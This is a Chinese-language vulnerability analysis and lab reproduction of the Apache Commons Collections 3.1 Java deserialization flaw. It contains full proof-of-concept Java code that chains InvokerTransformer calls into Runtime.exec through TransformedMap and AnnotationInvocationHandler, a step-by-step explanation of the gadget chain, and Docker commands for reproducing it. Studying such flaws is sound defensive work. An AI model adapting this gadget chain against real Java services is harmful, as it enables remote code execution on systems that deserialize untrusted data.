1.1 狀態
完成漏洞挖掘條件分析、漏洞復現。
1.2 漏洞分析
存在安全缺陷的版本:apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache maven 3.6.3。
POC核心代碼:
package com.patrilic.vul;import org.apache.commons.collections.transformer;import org.apache.commons.collections.functors.Constanttransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import Java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//將transformers數組存入ChaniedTransformer這個繼承類Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);//創建Map并綁定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// //觸發漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//將ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的數據流進行反序列化,驗證ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();// }//}}}
漏洞利用思路:
Transformer接口-實現類-InvokerTransformer(),可調用任何函數。
為實現?Runtime.getRuntime().exec(cmd),要多次調用?transformer?并將當前返回結果作為下次輸入信息。
為調用?Runtime.getRuntime(),考慮?ConstantTransformer?類,它可直接將輸入的參數作為輸出。
ChainedTransformer?作為實現類,對于接收的Transformer?數組,采用自身的transform方法(參數是用戶輸入的)逐次處理Transformer數組對象,將其結果作為下次重復調用的輸入參數。它的?transform()方法即可出觸發漏洞。
為尋找反序列化途徑,即讀進來數據被反序列化執行,則反向尋找可觸發ChainedTransformer?對象?.transform()?方法的途徑。
HashMap類可以鍵值對方式存儲數據,put(key,value)方法可存儲數據。
TransformedMap類的功能是存儲鍵值對并將其轉換為transform objects,decorate()方法可創建鍵值對組,checkSetValue()方法會觸發this.valueTransformer.transform()語句。依次反向尋找調用?checkSetValue()【1】,使?this.valueTransformer?為?ChainedTransformer?對象的途徑【2】。
對于【2】,TransformedMap?類的靜態方法?decorate()可達到目標。
對于【1】,AbstractInputCheckedMapDecorator?類?MapEntry?靜態類的setValue方法會執行this.parent.checkSetValue(value),則接下來應使this.parent為TransformedMap對象【3】。
對于【3】,正向分析POC中此段代碼:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
研究可知,執行過程中多次在AbstractInputCheckedMapDecorator類中,將TransformedMap對象賦值給this.parent,返回Map.Entry對象,正好可以執行setValue()方法,觸發漏洞。
為提升通用性,必須設法使得調用反序列化方法即觸發漏洞,因此,考慮尋找類對象滿足“重寫反序列化readObject()且執行Map類對象變量的setValue(),同時此變量可被控制賦鍵值數據”。AnnotationInvocationHandler類滿足此需求【它對Map類型的成員變量的每個條目均調用setValue()】。
Class.forName()?功能是加載類。
則再次分析,對于【1】,正向分析POC中核心代碼:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
研究可知,執行過程會執行?MapEntry?靜態類的?setValue?方法,且會執行entrySet?方法使得?this.parent=TransformedMap?對象,從而觸發漏洞。
總的來說,正向的POC構造思路為:先構造?ChainedTransformer?對象,隨后創建 Map 對象,再采用?TransformedMap?類實例將?ChainedTransformer?對象保存至 Map 類對象中,再通過反射方法獲得經 Map 類對象初始化的AnnotationInvocationHandler?類實例,對其進行序列化。
1.3 docker復現
下載制作的docker鏡像,用以下命令:
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
設置局域網及容器ip、啟動容器,例子:
(1)自定義網絡
docker network create --subnet=192.168.10.1/24 testnet
(2)啟動docker容器
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
在容器【Apache-Commons-Collections】中,執行命令【java -jar commons-collections-3.1.jar】,則生成文件【CommonsCollections3.1】,如下圖。